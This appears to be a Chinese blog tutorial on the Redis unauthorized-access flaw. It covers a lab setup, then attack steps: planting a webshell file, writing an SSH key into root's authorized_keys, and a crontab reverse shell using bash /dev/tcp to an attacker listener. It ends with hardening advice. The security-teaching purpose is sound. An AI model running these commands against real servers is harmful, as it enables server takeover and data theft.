Redis未授权访问漏洞复现与对应防护措施

一、介绍

1.Redis数据库

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

2.漏洞介绍

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

漏洞产生条件:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞检测:
可以对目标主机使用nmap扫描

若发现主机6379端口是对外开发的,则可以认为有redis数据库。若碰巧默认配置为空密码,而服务器仍然对外开放,则可以在另一个装有redis数据库的主机使用redis-cli -h 目标ip地址 直接远程连接

漏洞危害:

(1)Redis数据泄露

Redis数据表中存储着企业的私有数据,比如一些网站的账户密码、FTP账户密码等,攻击者可以随时查看数据表的内容。

(2)Redis数据销毁

攻击者可以修改redis数据表,增删key项,如调用fluxhall命令清除所有key。

(3)主机系统环境泄露,为后续攻击提供网络信息

例如,使用 info 命令可以查看主机的相关信息,如操作系统环境、目录名、CPU/内存等敏感信息。

(4)结合技术手段控制主机

利用redis未经授权的漏洞,不仅对redis数据构成威胁,而且通过一定的技术手段控制目标主机系统,获得主机控制权。

二、漏洞环境搭建

centos 7 20.04 64位 
centous7 16.04 64位 

使用Redis版本:2.8.17  

注意:两个云服务器的相关端口要记得打开,否则redis-cli无法连接

1.在准备好的靶机下载Redis

[root@localhost ~]#wget http://download.redis.io/releases/redis-2.8.17.tar.gz

2.解压Redis

[root@localhost ~]#tar xzf redis-2.8.17.tar.g

3.进入目录,编译

[root@localhost ~]#cd redis-2.8.17/
[root@localhost redis-2.8.17]#make


4.复制两个执行文件到/usr/bin/目录下,可以直接执行

[root@localhost redis-2.8.17]#cd src
[root@localhost src]#cp redis-server /usr/bin/
[root@localhost src]#cp redis-cli /usr/bin/

Redis未授权访问漏洞复现与对应防护措施_第1张图片

5.启动服务

由于我们使用的redis版本较低,所以不需要修改redis.conf文件,已经满足漏洞利用的条件了,所以直接启动即可。

redis-server &
如图,启动成功!

Redis未授权访问漏洞复现与对应防护措施_第2张图片

6.环境搭建完毕,尝试连接

我们再将上述步骤在攻击机里重新布置一次,使攻击机与靶机都安装redis服务。

攻击机进行连接:

redis-cli -h 靶机的ip地址

三、攻击方式演示

1.写入webshell

配置一个可读可写可执行的导出路径
192.168.xxx.xxx:6379>config set dir /tmp

设置备份名为shell.php的文件且放到存放目录
192.168.xxx.xxx:6379>config set dbfilename shell.php

创建webshell
192.168.xxx.xxx:6379>set webshell ""

保存
192.168.xxx.xxx:6379>save

2.写入SSH公钥实现SSH登录

(1)在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(若是靶机使用过ssh服务,则会自动生成/root/.ssh文件目录)

(2)在攻击机中生成ssh公钥和私钥,密码设置为空:(一路回车即可)

(3)进入.ssh目录,保存密钥

进入.ssh目录
[root@192 .ssh]# cd ~/.ssh

将生成的公钥保存到key.txt
[root@192 .ssh]# (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.tx

(4)将保存的key.txt文件内容写入redis
[root@192 .ssh]# cat /root/.ssh/key.txt | redis-cli -h 192.168.XXX.XXX(靶机IP) -x set pub

(5)设置redis的备份路径为:

192.168.12.138:6379> config get dir /root/.ssh
设置上传公钥的备份文件名为:

192.168.12.138:6379> config set dbfilename authorized_keys

192.168.12.138:6379> config get dir       #查看是否修改

192.168.12.138:6379> config get dbfilename      #查看是否修改

(6)已成功写入ssh公钥到靶机,测试ssh免密登录。

ssh 靶机ip地址

3.在crontab里写定时任务,反弹shell

靶机之前使用的ubuntu系统,演示未成功,更换为centos后重新操作一遍后成功,攻击机未变。
(1)攻击机上监听4444端口
nc -lnvp 4444
(2)新开一个终端,redis-cli连接上后,写入反弹shell
set xx "\n* * * * * bash -i >& /dev/tcp/攻击机ip地址/监听的端口号 0>&1\n"
(3)设置导出的路径
config set dir /var/spool/cron/
(4)设置导出的文件名称
config set dbfilename root
(5)save

成功收到反弹的shell!

四、修复建议

1.网络层加固

指定Redis服务使用的网卡

默认情况下,Redis 监听127.0.0.1. 如果只是本地通信,请务必在本地进行监控。

这种方法可以在一定程度上缓解未经授权访问 Redis 的风险(在特殊情况下,如果 Redis 以 root 用户身份运行,攻击者可以利用现有的 webshell 使用 Redis 反弹 shell 来实现提权)。

在redis.conf文件# bind 127.0.0.1前面找到#删除,然后保存。

注意:此操作需要重启Redis才能生效。2、修改后只有本机可以访问Redis,也可以指定访问源IP访问Redis。

2.设置防火墙策略

如果正常业务需要其他服务器访问Redis服务,可以使用iptables策略,只允许指定IP访问Redis服务。
iptables -A INPUT -s xxxx -p tcp --dport 6379 -j ACCEPT

3.账号与认证

设置访问密码            requirepass 字段添加密码

[root@192 ~]# vim /etc/redis/6379.conf 

或是在redis.conf查找requirepass字段中,删除其注释,并在后面填写密码。Redis 客户端也需要使用这个密码才能访问 Redis 服务。

4.最小化服务操作权限

修改Redis服务运行账号

请使用较低权限的帐号运行 Redis 服务,并禁用该帐号的登录权限。

5.精细化服务授权

隐藏重要命令

Redis 没有权限分离,它的管理员账户和普通账户没有明显的区别。在登录攻击者可以执行任何操作后,需要隐藏以下重要命令:FLUSHDB,FLUSHALL,KEYS,PEXPIRE,DEL,CONFIG,SHUTDOWN,BGREWRITEAOF,BGSAVE,SAVE,SPOP,SREM,RENAME,DEBUG,EVAL.

此外,Redis 2.8.1 和 Redis 3.x(3.0.2 以下)存在 EVAL 沙盒逃逸漏洞,允许攻击者执行任意 Lua 代码。

以下配置config/flushdb/flushall设置为null,即禁用该命令;也可能提供一个复杂的、难以猜测的名称
(1)rename-command CONFIG ""
(2)rename-command flushall ""
(3)rename-command flushdb“”
(4)rename-command shutdown shotdown_test

保存后,执行/etc/init.d/redis-server restart重启生效

你可能感兴趣的:(redis,数据库,nosql)